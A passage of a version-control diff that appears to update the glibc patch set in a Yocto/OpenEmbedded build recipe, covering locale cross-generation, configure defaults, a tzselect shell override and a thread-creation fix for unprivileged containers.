-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/unix/sysv/linux/sh/Versions | 1 +
- sysdeps/unix/sysv/linux/sh/sysdep.S | 11 +++++++++++
- 2 files changed, 12 insertions(+)
-
-diff --git a/sysdeps/unix/sysv/linux/sh/Versions b/sysdeps/unix/sysv/linux/sh/Versions
-index e0938c4165..ca1d7da339 100644
---- a/sysdeps/unix/sysv/linux/sh/Versions
-+++ b/sysdeps/unix/sysv/linux/sh/Versions
-@@ -2,6 +2,7 @@ libc {
- GLIBC_2.2 {
- # functions used in other libraries
- __xstat64; __fxstat64; __lxstat64;
-+ __fpscr_values;
-
- # a*
- alphasort64;
-diff --git a/sysdeps/unix/sysv/linux/sh/sysdep.S b/sysdeps/unix/sysv/linux/sh/sysdep.S
-index 6ce36d6dd5..425811cc77 100644
---- a/sysdeps/unix/sysv/linux/sh/sysdep.S
-+++ b/sysdeps/unix/sysv/linux/sh/sysdep.S
-@@ -30,3 +30,14 @@ ENTRY (__syscall_error)
-
- #define __syscall_error __syscall_error_1
- #include <sysdeps/unix/sh/sysdep.S>
-+
-+ .data
-+ .align 3
-+ .globl ___fpscr_values
-+ .type ___fpscr_values, @object
-+ .size ___fpscr_values, 8
-+___fpscr_values:
-+ .long 0
-+ .long 0x80000
-+weak_alias (___fpscr_values, __fpscr_values)
-+
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch b/meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch
deleted file mode 100644
index c46021a478..0000000000
--- a/meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch
+++ /dev/null
@@ -1,566 +0,0 @@
-From be382b4e0c6de52573f7e037f2d4ff9b1b5bbb6b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 01:33:49 +0000
-Subject: [PATCH 22/28] eglibc: Forward port cross locale generation support
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/Makefile | 3 +-
- locale/catnames.c | 48 ++++++++++++++++++++++++++++
- locale/localeinfo.h | 2 +-
- locale/programs/charmap-dir.c | 6 ++++
- locale/programs/ld-collate.c | 17 +++++-----
- locale/programs/ld-ctype.c | 27 ++++++++--------
- locale/programs/ld-time.c | 31 ++++++++++++------
- locale/programs/linereader.c | 2 +-
- locale/programs/localedef.c | 8 +++++
- locale/programs/locfile.c | 5 ++-
- locale/programs/locfile.h | 59 +++++++++++++++++++++++++++++++++--
- locale/setlocale.c | 30 ------------------
- 12 files changed, 169 insertions(+), 69 deletions(-)
- create mode 100644 locale/catnames.c
-
-diff --git a/locale/Makefile b/locale/Makefile
-index d78cf9b83a..e166f5252e 100644
---- a/locale/Makefile
-+++ b/locale/Makefile
-@@ -26,7 +26,8 @@ headers = langinfo.h locale.h bits/locale.h \
- bits/types/locale_t.h bits/types/__locale_t.h
- routines = setlocale findlocale loadlocale loadarchive \
- localeconv nl_langinfo nl_langinfo_l mb_cur_max \
-- newlocale duplocale freelocale uselocale
-+ newlocale duplocale freelocale uselocale \
-+ catnames
- tests = tst-C-locale tst-locname tst-duplocale
- categories = ctype messages monetary numeric time paper name \
- address telephone measurement identification collate
-diff --git a/locale/catnames.c b/locale/catnames.c
-new file mode 100644
-index 0000000000..9fad357db1
---- /dev/null
-+++ b/locale/catnames.c
-@@ -0,0 +1,48 @@
-+/* Copyright (C) 2006 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include "localeinfo.h"
-+
-+/* Define an array of category names (also the environment variable names). */
-+const union catnamestr_t _nl_category_names attribute_hidden =
-+ {
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ category_name,
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ }
-+ };
-+
-+const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ [category] = offsetof (union catnamestr_t, CATNAMEMF (__LINE__)),
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ };
-+
-+/* An array of their lengths, for convenience. */
-+const uint8_t _nl_category_name_sizes[] attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ [category] = sizeof (category_name) - 1,
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ [LC_ALL] = sizeof ("LC_ALL") - 1
-+ };
-diff --git a/locale/localeinfo.h b/locale/localeinfo.h
-index 53cb8bfc59..92c466200c 100644
---- a/locale/localeinfo.h
-+++ b/locale/localeinfo.h
-@@ -224,7 +224,7 @@ __libc_tsd_define (extern, locale_t, LOCALE)
- unused. We can manage this playing some tricks with weak references.
- But with thread-local locale settings, it becomes quite ungainly unless
- we can use __thread variables. So only in that case do we attempt this. */
--#ifndef SHARED
-+#if !defined SHARED && !defined IN_GLIBC_LOCALEDEF
- # include <tls.h>
- # define NL_CURRENT_INDIRECT 1
- #endif
-diff --git a/locale/programs/charmap-dir.c b/locale/programs/charmap-dir.c
-index 94c122df68..80e53e12c8 100644
---- a/locale/programs/charmap-dir.c
-+++ b/locale/programs/charmap-dir.c
-@@ -18,7 +18,9 @@
- #include <errno.h>
- #include <fcntl.h>
- #include <libintl.h>
-+#ifndef NO_UNCOMPRESS
- #include <spawn.h>
-+#endif
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-@@ -154,6 +156,7 @@ charmap_closedir (CHARMAP_DIR *cdir)
- return closedir (dir);
- }
-
-+#ifndef NO_UNCOMPRESS
- /* Creates a subprocess decompressing the given pathname, and returns
- a stream reading its output (the decompressed data). */
- static
-@@ -202,6 +205,7 @@ fopen_uncompressed (const char *pathname, const char *compressor)
- }
- return NULL;
- }
-+#endif
-
- /* Opens a charmap for reading, given its name (not an alias name). */
- FILE *
-@@ -224,6 +228,7 @@ charmap_open (const char *directory, const char *name)
- if (stream != NULL)
- return stream;
-
-+#ifndef NO_UNCOMPRESS
- memcpy (p, ".gz", 4);
- stream = fopen_uncompressed (pathname, "gzip");
- if (stream != NULL)
-@@ -233,6 +238,7 @@ charmap_open (const char *directory, const char *name)
- stream = fopen_uncompressed (pathname, "bzip2");
- if (stream != NULL)
- return stream;
-+#endif
-
- return NULL;
- }
-diff --git a/locale/programs/ld-collate.c b/locale/programs/ld-collate.c
-index 6baab6cfb0..b12a2fceab 100644
---- a/locale/programs/ld-collate.c
-+++ b/locale/programs/ld-collate.c
-@@ -349,7 +349,7 @@ new_element (struct locale_collate_t *collate, const char *mbs, size_t mbslen,
- }
- if (wcs != NULL)
- {
-- size_t nwcs = wcslen ((wchar_t *) wcs);
-+ size_t nwcs = wcslen_uint32 (wcs);
- uint32_t zero = 0;
- /* Handle <U0000> as a single character. */
- if (nwcs == 0)
-@@ -1772,8 +1772,7 @@ symbol `%s' has the same encoding as"), (*eptr)->name);
-
- if ((*eptr)->nwcs == runp->nwcs)
- {
-- int c = wmemcmp ((wchar_t *) (*eptr)->wcs,
-- (wchar_t *) runp->wcs, runp->nwcs);
-+ int c = wmemcmp_uint32 ((*eptr)->wcs, runp->wcs, runp->nwcs);
-
- if (c == 0)
- {
-@@ -2000,9 +1999,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
- one consecutive entry. */
- if (runp->wcnext != NULL
- && runp->nwcs == runp->wcnext->nwcs
-- && wmemcmp ((wchar_t *) runp->wcs,
-- (wchar_t *)runp->wcnext->wcs,
-- runp->nwcs - 1) == 0
-+ && wmemcmp_uint32 (runp->wcs,
-+ runp->wcnext->wcs,
-+ runp->nwcs - 1) == 0
- && (runp->wcs[runp->nwcs - 1]
- == runp->wcnext->wcs[runp->nwcs - 1] + 1))
- {
-@@ -2026,9 +2025,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
- runp = runp->wcnext;
- while (runp->wcnext != NULL
- && runp->nwcs == runp->wcnext->nwcs
-- && wmemcmp ((wchar_t *) runp->wcs,
-- (wchar_t *)runp->wcnext->wcs,
-- runp->nwcs - 1) == 0
-+ && wmemcmp_uint32 (runp->wcs,
-+ runp->wcnext->wcs,
-+ runp->nwcs - 1) == 0
- && (runp->wcs[runp->nwcs - 1]
- == runp->wcnext->wcs[runp->nwcs - 1] + 1));
-
-diff --git a/locale/programs/ld-ctype.c b/locale/programs/ld-ctype.c
-index cfc9c43fd5..6572cc199c 100644
---- a/locale/programs/ld-ctype.c
-+++ b/locale/programs/ld-ctype.c
-@@ -915,7 +915,7 @@ ctype_output (struct localedef_t *locale, const struct charmap_t *charmap,
- allocate_arrays (ctype, charmap, ctype->repertoire);
-
- default_missing_len = (ctype->default_missing
-- ? wcslen ((wchar_t *) ctype->default_missing)
-+ ? wcslen_uint32 (ctype->default_missing)
- : 0);
-
- init_locale_data (&file, nelems);
-@@ -1927,7 +1927,7 @@ read_translit_entry (struct linereader *ldfile, struct locale_ctype_t *ctype,
- ignore = 1;
- else
- /* This value is usable. */
-- obstack_grow (ob, to_wstr, wcslen ((wchar_t *) to_wstr) * 4);
-+ obstack_grow (ob, to_wstr, wcslen_uint32 (to_wstr) * 4);
-
- first = 0;
- }
-@@ -2461,8 +2461,8 @@ with character code range values one must use the absolute ellipsis `...'"));
- }
-
- handle_tok_digit:
-- class_bit = _ISwdigit;
-- class256_bit = _ISdigit;
-+ class_bit = BITw (tok_digit);
-+ class256_bit = BIT (tok_digit);
- handle_digits = 1;
- goto read_charclass;
-
-@@ -3904,8 +3904,7 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
-
- while (idx < number)
- {
-- int res = wcscmp ((const wchar_t *) sorted[idx]->from,
-- (const wchar_t *) runp->from);
-+ int res = wcscmp_uint32 (sorted[idx]->from, runp->from);
- if (res == 0)
- {
- replace = 1;
-@@ -3942,11 +3941,11 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
- for (size_t cnt = 0; cnt < number; ++cnt)
- {
- struct translit_to_t *srunp;
-- from_len += wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
-+ from_len += wcslen_uint32 (sorted[cnt]->from) + 1;
- srunp = sorted[cnt]->to;
- while (srunp != NULL)
- {
-- to_len += wcslen ((const wchar_t *) srunp->str) + 1;
-+ to_len += wcslen_uint32 (srunp->str) + 1;
- srunp = srunp->next;
- }
- /* Plus one for the extra NUL character marking the end of
-@@ -3970,18 +3969,18 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
- ctype->translit_from_idx[cnt] = from_len;
- ctype->translit_to_idx[cnt] = to_len;
-
-- len = wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
-- wmemcpy ((wchar_t *) &ctype->translit_from_tbl[from_len],
-- (const wchar_t *) sorted[cnt]->from, len);
-+ len = wcslen_uint32 (sorted[cnt]->from) + 1;
-+ wmemcpy_uint32 (&ctype->translit_from_tbl[from_len],
-+ sorted[cnt]->from, len);
- from_len += len;
-
- ctype->translit_to_idx[cnt] = to_len;
- srunp = sorted[cnt]->to;
- while (srunp != NULL)
- {
-- len = wcslen ((const wchar_t *) srunp->str) + 1;
-- wmemcpy ((wchar_t *) &ctype->translit_to_tbl[to_len],
-- (const wchar_t *) srunp->str, len);
-+ len = wcslen_uint32 (srunp->str) + 1;
-+ wmemcpy_uint32 (&ctype->translit_to_tbl[to_len],
-+ srunp->str, len);
- to_len += len;
- srunp = srunp->next;
- }
-diff --git a/locale/programs/ld-time.c b/locale/programs/ld-time.c
-index 8e9849fdba..028d3efa9f 100644
---- a/locale/programs/ld-time.c
-+++ b/locale/programs/ld-time.c
-@@ -220,8 +220,10 @@ No definition for %s category found"), "LC_TIME");
- }
- else
- {
-+ static const uint32_t wt_fmt_ampm[]
-+ = { '%','I',':','%','M',':','%','S',' ','%','p',0 };
- time->t_fmt_ampm = "%I:%M:%S %p";
-- time->wt_fmt_ampm = (const uint32_t *) L"%I:%M:%S %p";
-+ time->wt_fmt_ampm = wt_fmt_ampm;
- }
- }
-
-@@ -231,7 +233,7 @@ No definition for %s category found"), "LC_TIME");
- const int days_per_month[12] = { 31, 29, 31, 30, 31, 30,
- 31, 31, 30, 31 ,30, 31 };
- size_t idx;
-- wchar_t *wstr;
-+ uint32_t *wstr;
-
- time->era_entries =
- (struct era_data *) xmalloc (time->num_era
-@@ -457,18 +459,18 @@ No definition for %s category found"), "LC_TIME");
- }
-
- /* Now generate the wide character name and format. */
-- wstr = wcschr ((wchar_t *) time->wera[idx], L':');/* end direction */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end offset */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end start */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end end */
-+ wstr = wcschr_uint32 (time->wera[idx], L':'); /* end direction */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end offset */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end start */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end end */
- if (wstr != NULL)
- {
-- time->era_entries[idx].wname = (uint32_t *) wstr + 1;
-- wstr = wcschr (wstr + 1, L':'); /* end name */
-+ time->era_entries[idx].wname = wstr + 1;
-+ wstr = wcschr_uint32 (wstr + 1, L':'); /* end name */
- if (wstr != NULL)
- {
- *wstr = L'\0';
-- time->era_entries[idx].wformat = (uint32_t *) wstr + 1;
-+ time->era_entries[idx].wformat = wstr + 1;
- }
- else
- time->era_entries[idx].wname =
-@@ -527,7 +529,16 @@ No definition for %s category found"), "LC_TIME");
- if (time->date_fmt == NULL)
- time->date_fmt = "%a %b %e %H:%M:%S %Z %Y";
- if (time->wdate_fmt == NULL)
-- time->wdate_fmt = (const uint32_t *) L"%a %b %e %H:%M:%S %Z %Y";
-+ {
-+ static const uint32_t wdate_fmt[] =
-+ { '%','a',' ',
-+ '%','b',' ',
-+ '%','e',' ',
-+ '%','H',':','%','M',':','%','S',' ',
-+ '%','Z',' ',
-+ '%','Y',0 };
-+ time->wdate_fmt = wdate_fmt;
-+ }
- }
-
-
-diff --git a/locale/programs/linereader.c b/locale/programs/linereader.c
-index ed3a9731d0..3178ea057a 100644
---- a/locale/programs/linereader.c
-+++ b/locale/programs/linereader.c
-@@ -595,7 +595,7 @@ get_string (struct linereader *lr, const struct charmap_t *charmap,
- {
- int return_widestr = lr->return_widestr;
- char *buf;
-- wchar_t *buf2 = NULL;
-+ uint32_t *buf2 = NULL;
- size_t bufact;
- size_t bufmax = 56;
-
-diff --git a/locale/programs/localedef.c b/locale/programs/localedef.c
-index b7bcef8248..efeced1e0f 100644
---- a/locale/programs/localedef.c
-+++ b/locale/programs/localedef.c
-@@ -109,6 +109,7 @@ void (*argp_program_version_hook) (FILE *, struct argp_state *) = print_version;
- #define OPT_NO_WARN 402
- #define OPT_WARN 403
- #define OPT_NO_HARD_LINKS 404
-+#define OPT_UINT32_ALIGN 405
-
- /* Definitions of arguments for argp functions. */
- static const struct argp_option options[] =
-@@ -153,6 +154,8 @@ static const struct argp_option options[] =
- N_("Generate little-endian output") },
- { "big-endian", OPT_BIG_ENDIAN, NULL, 0,
- N_("Generate big-endian output") },
-+ { "uint32-align", OPT_UINT32_ALIGN, "ALIGNMENT", 0,
-+ N_("Set the target's uint32_t alignment in bytes (default 4)") },
- { NULL, 0, NULL, 0, NULL }
- };
-
-@@ -242,12 +245,14 @@ main (int argc, char *argv[])
- ctype locale. (P1003.2 4.35.5.2) */
- setlocale (LC_CTYPE, "POSIX");
-
-+#ifndef NO_SYSCONF
- /* Look whether the system really allows locale definitions. POSIX
- defines error code 3 for this situation so I think it must be
- a fatal error (see P1003.2 4.35.8). */
- if (sysconf (_SC_2_LOCALEDEF) < 0)
- record_error (3, 0, _("\
- FATAL: system does not define `_POSIX2_LOCALEDEF'"));
-+#endif
-
- /* Process charmap file. */
- charmap = charmap_read (charmap_file, verbose, 1, be_quiet, 1);
-@@ -399,6 +404,9 @@ parse_opt (int key, char *arg, struct argp_state *state)
- /* Do not hard link to other locales. */
- hard_links = false;
- break;
-+ case OPT_UINT32_ALIGN:
-+ uint32_align_mask = strtol (arg, NULL, 0) - 1;
-+ break;
- case 'c':
- force_output = 1;
- break;
-diff --git a/locale/programs/locfile.c b/locale/programs/locfile.c
-index e4ba48e968..e7b0efe887 100644
---- a/locale/programs/locfile.c
-+++ b/locale/programs/locfile.c
-@@ -544,6 +544,9 @@ compare_files (const char *filename1, const char *filename2, size_t size,
- machine running localedef. */
- bool swap_endianness_p;
-
-+/* The target's value of __align__(uint32_t) - 1. */
-+unsigned int uint32_align_mask = 3;
-+
- /* When called outside a start_locale_structure/end_locale_structure
- or start_locale_prelude/end_locale_prelude block, record that the
- next byte in FILE's obstack will be the first byte of a new element.
-@@ -621,7 +624,7 @@ add_locale_string (struct locale_file *file, const char *string)
- void
- add_locale_wstring (struct locale_file *file, const uint32_t *string)
- {
-- add_locale_uint32_array (file, string, wcslen ((const wchar_t *) string) + 1);
-+ add_locale_uint32_array (file, string, wcslen_uint32 (string) + 1);
- }
-
- /* Record that FILE's next element is the 32-bit integer VALUE. */
-diff --git a/locale/programs/locfile.h b/locale/programs/locfile.h
-index c063fc097d..4e7465e55a 100644
---- a/locale/programs/locfile.h
-+++ b/locale/programs/locfile.h
-@@ -71,6 +71,8 @@ extern void write_all_categories (struct localedef_t *definitions,
-
- extern bool swap_endianness_p;
-
-+extern unsigned int uint32_align_mask;
-+
- /* Change the output to be big-endian if BIG_ENDIAN is true and
- little-endian otherwise. */
- static inline void
-@@ -89,7 +91,8 @@ maybe_swap_uint32 (uint32_t value)
- }
-
- /* Likewise, but munge an array of N uint32_ts starting at ARRAY. */
--static inline void
-+static void
-+__attribute__ ((unused))
- maybe_swap_uint32_array (uint32_t *array, size_t n)
- {
- if (swap_endianness_p)
-@@ -99,7 +102,8 @@ maybe_swap_uint32_array (uint32_t *array, size_t n)
-
- /* Like maybe_swap_uint32_array, but the array of N elements is at
- the end of OBSTACK's current object. */
--static inline void
-+static void
-+__attribute__ ((unused))
- maybe_swap_uint32_obstack (struct obstack *obstack, size_t n)
- {
- maybe_swap_uint32_array ((uint32_t *) obstack_next_free (obstack) - n, n);
-@@ -276,4 +280,55 @@ extern void identification_output (struct localedef_t *locale,
- const struct charmap_t *charmap,
- const char *output_path);
-
-+static size_t wcslen_uint32 (const uint32_t *str) __attribute__ ((unused));
-+static uint32_t * wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
-+static uint32_t * wcschr_uint32 (const uint32_t *s, uint32_t ch) __attribute__ ((unused));
-+static int wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2) __attribute__ ((unused));
-+static int wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
-+
-+static size_t
-+wcslen_uint32 (const uint32_t *str)
-+{
-+ size_t len = 0;
-+ while (str[len] != 0)
-+ len++;
-+ return len;
-+}
-+
-+static int
-+wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n)
-+{
-+ while (n-- != 0)
-+ {
-+ int diff = *s1++ - *s2++;
-+ if (diff != 0)
-+ return diff;
-+ }
-+ return 0;
-+}
-+
-+static int
-+wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2)
-+{
-+ while (*s1 != 0 && *s1 == *s2)
-+ s1++, s2++;
-+ return *s1 - *s2;
-+}
-+
-+static uint32_t *
-+wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n)
-+{
-+ return memcpy (s1, s2, n * sizeof (uint32_t));
-+}
-+
-+static uint32_t *
-+wcschr_uint32 (const uint32_t *s, uint32_t ch)
-+{
-+ do
-+ if (*s == ch)
-+ return (uint32_t *) s;
-+ while (*s++ != 0);
-+ return 0;
-+}
-+
- #endif /* locfile.h */
-diff --git a/locale/setlocale.c b/locale/setlocale.c
-index 9bd35454b9..2a67dc6589 100644
---- a/locale/setlocale.c
-+++ b/locale/setlocale.c
-@@ -64,36 +64,6 @@ static char *const _nl_current_used[] =
- #endif
-
-
--/* Define an array of category names (also the environment variable names). */
--const union catnamestr_t _nl_category_names attribute_hidden =
-- {
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- category_name,
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- }
-- };
--
--const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- [category] = offsetof (union catnamestr_t, CATNAMEMF (__LINE__)),
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- };
--
--/* An array of their lengths, for convenience. */
--const uint8_t _nl_category_name_sizes[] attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- [category] = sizeof (category_name) - 1,
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- [LC_ALL] = sizeof ("LC_ALL") - 1
-- };
--
--
- #ifdef NL_CURRENT_INDIRECT
- # define WEAK_POSTLOAD(postload) weak_extern (postload)
- #else
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0022-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch b/meta/recipes-core/glibc/glibc/0022-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch
new file mode 100644
index 0000000000..5ac9d6d3a1
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0022-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch
@@ -0,0 +1,39 @@
+From 5d1384d86fc44404ca32c6fda2d46ec357337c91 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:27:10 +0000
+Subject: [PATCH] sysdeps/gnu/configure.ac: Set libc_cv_rootsbindir only if its empty
+
+This ensures that it can be set in build environment
+
+Upstream-Status: Submitted [https://patchwork.sourceware.org/project/glibc/patch/20211209203557.1318333-2-raj.khem@gmail.com/]
+Signed-off-by: Matthieu Crapet <Matthieu.Crapet@ingenico.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/gnu/configure | 2 +-
+ sysdeps/gnu/configure.ac | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/sysdeps/gnu/configure b/sysdeps/gnu/configure
+index c15d1087e8..d30d6e37ae 100644
+--- a/sysdeps/gnu/configure
++++ b/sysdeps/gnu/configure
+@@ -32,6 +32,6 @@ case "$prefix" in
+ else
+ libc_cv_localstatedir=$localstatedir
+ fi
+- libc_cv_rootsbindir=/sbin
++ libc_cv_rootsbindir=${libc_cv_rootsbindir:=/sbin}
+ ;;
+ esac
+diff --git a/sysdeps/gnu/configure.ac b/sysdeps/gnu/configure.ac
+index 634fe4de2a..492112e0fd 100644
+--- a/sysdeps/gnu/configure.ac
++++ b/sysdeps/gnu/configure.ac
+@@ -21,6 +21,6 @@ case "$prefix" in
+ else
+ libc_cv_localstatedir=$localstatedir
+ fi
+- libc_cv_rootsbindir=/sbin
++ libc_cv_rootsbindir=${libc_cv_rootsbindir:=/sbin}
+ ;;
+ esac
diff --git a/meta/recipes-core/glibc/glibc/0023-Define-DUMMY_LOCALE_T-if-not-defined.patch b/meta/recipes-core/glibc/glibc/0023-Define-DUMMY_LOCALE_T-if-not-defined.patch
deleted file mode 100644
index 17667da99f..0000000000
--- a/meta/recipes-core/glibc/glibc/0023-Define-DUMMY_LOCALE_T-if-not-defined.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From afa8d6faeddeb80aca318b33edf49d9f8ce65761 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 20 Apr 2016 21:11:00 -0700
-Subject: [PATCH 23/28] Define DUMMY_LOCALE_T if not defined
-
-This is a hack to fix building the locale bits on an older
-CentOs 5.X machine
-
-Upstream-Status: Inappropriate [other]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/programs/config.h | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/locale/programs/config.h b/locale/programs/config.h
-index a1e6e0ec3c..7f75528eae 100644
---- a/locale/programs/config.h
-+++ b/locale/programs/config.h
-@@ -19,6 +19,9 @@
- #ifndef _LD_CONFIG_H
- #define _LD_CONFIG_H 1
-
-+#ifndef DUMMY_LOCALE_T
-+#define DUMMY_LOCALE_T
-+#endif
- /* Use the internal textdomain used for libc messages. */
- #define PACKAGE _libc_intl_domainname
- #ifndef VERSION
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0023-timezone-Make-shell-interpreter-overridable-in-tzsel.patch b/meta/recipes-core/glibc/glibc/0023-timezone-Make-shell-interpreter-overridable-in-tzsel.patch
new file mode 100644
index 0000000000..e5e6ceba60
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0023-timezone-Make-shell-interpreter-overridable-in-tzsel.patch
@@ -0,0 +1,47 @@
+From c0f251c58655e3377fe1c67a026c21ef68d2abcf Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 9 Dec 2021 15:14:42 -0800
+Subject: [PATCH] timezone: Make shell interpreter overridable in tzselect.ksh
+
+define new macro called KSHELL which can be used to define default shell
+use Bash by default
+
+Upstream-Status: Submitted [https://patchwork.sourceware.org/project/glibc/patch/20211209234015.1554552-1-raj.khem@gmail.com/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makeconfig | 9 +++++++++
+ timezone/Makefile | 1 +
+ 2 files changed, 10 insertions(+)
+
+diff --git a/Makeconfig b/Makeconfig
+index 775bf12b65..7b9a8f0a94 100644
+--- a/Makeconfig
++++ b/Makeconfig
+@@ -293,6 +293,15 @@ ifndef sysincludedir
+ sysincludedir = /usr/include
+ endif
+
++# The full path name of a Posix-compliant shell, preferably one that supports
++# the Korn shell's 'select' statement as an extension.
++# These days, Bash is the most popular.
++# It should be OK to set this to /bin/sh, on platforms where /bin/sh
++# lacks 'select' or doesn't completely conform to Posix, but /bin/bash
++# is typically nicer if it works.
++ifndef KSHELL
++KSHELL = /bin/bash
++endif
+
+ # Commands to install files.
+ ifndef INSTALL_DATA
+diff --git a/timezone/Makefile b/timezone/Makefile
+index c624a189b3..dc8f5277de 100644
+--- a/timezone/Makefile
++++ b/timezone/Makefile
+@@ -127,6 +127,7 @@ $(objpfx)tzselect: tzselect.ksh $(common-objpfx)config.make
+ -e '/TZVERSION=/s|see_Makefile|"$(version)"|' \
+ -e '/PKGVERSION=/s|=.*|="$(PKGVERSION)"|' \
+ -e '/REPORT_BUGS_TO=/s|=.*|="$(REPORT_BUGS_TO)"|' \
++ -e 's|#!/bin/bash|#!$(KSHELL)|g' \
+ < $< > $@.new
+ chmod 555 $@.new
+ mv -f $@.new $@
diff --git a/meta/recipes-core/glibc/glibc/0024-fix-create-thread-failed-in-unprivileged-process-BZ-.patch b/meta/recipes-core/glibc/glibc/0024-fix-create-thread-failed-in-unprivileged-process-BZ-.patch
new file mode 100644
index 0000000000..b431ea168d
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0024-fix-create-thread-failed-in-unprivileged-process-BZ-.patch
@@ -0,0 +1,88 @@
+From 6609858239b8f94e12c19eac0cec425511d1211f Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Sun, 29 Aug 2021 20:49:16 +0800
+Subject: [PATCH] fix create thread failed in unprivileged process [BZ #28287]
+
+Since commit [d8ea0d0168 Add an internal wrapper for clone, clone2 and clone3]
+applied, start a unprivileged container (docker run without --privileged),
+it creates a thread failed in container.
+
+In commit d8ea0d0168, it calls __clone3 if HAVE_CLONE3_WAPPER is defined. If
+__clone3 returns -1 with ENOSYS, fall back to clone or clone2.
+
+As known from [1], cloneXXX fails with EPERM if CLONE_NEWCGROUP,
+CLONE_NEWIPC, CLONE_NEWNET, CLONE_NEWNS, CLONE_NEWPID, or CLONE_NEWUTS
+was specified by an unprivileged process (process without CAP_SYS_ADMIN)
+
+[1] https://man7.org/linux/man-pages/man2/clone3.2.html
+
+So if __clone3 returns -1 with EPERM, fall back to clone or clone2 could
+fix the issue. Here are the test steps:
+
+1) Prepare test code
+cat > conftest.c <<ENDOF
+ #include <pthread.h>
+ #include <stdio.h>
+
+int check_me = 0;
+void* func(void* data) {check_me = 42; printf("start thread: check_me %d\n", check_me); return &check_me;}
+int main()
+{
+ pthread_t t;
+ void *ret;
+ pthread_create (&t, 0, func, 0);
+ pthread_join (t, &ret);
+ printf("check_me %d, p %p\n", check_me, &ret);
+ return (check_me != 42 || ret != &check_me);
+}
+
+ENDOF
+
+2) Compile
+gcc -o conftest -pthread conftest.c
+
+3) Start a container with glibc 2.34 installed
+[skip details]
+docker run -it <container-image-name> bash
+
+4) Run conftest without this patch
+$ ./conftest
+check_me 0, p 0x7ffd91ccd400
+
+5) Run conftest with this patch
+$ ./conftest
+start thread: check_me 42
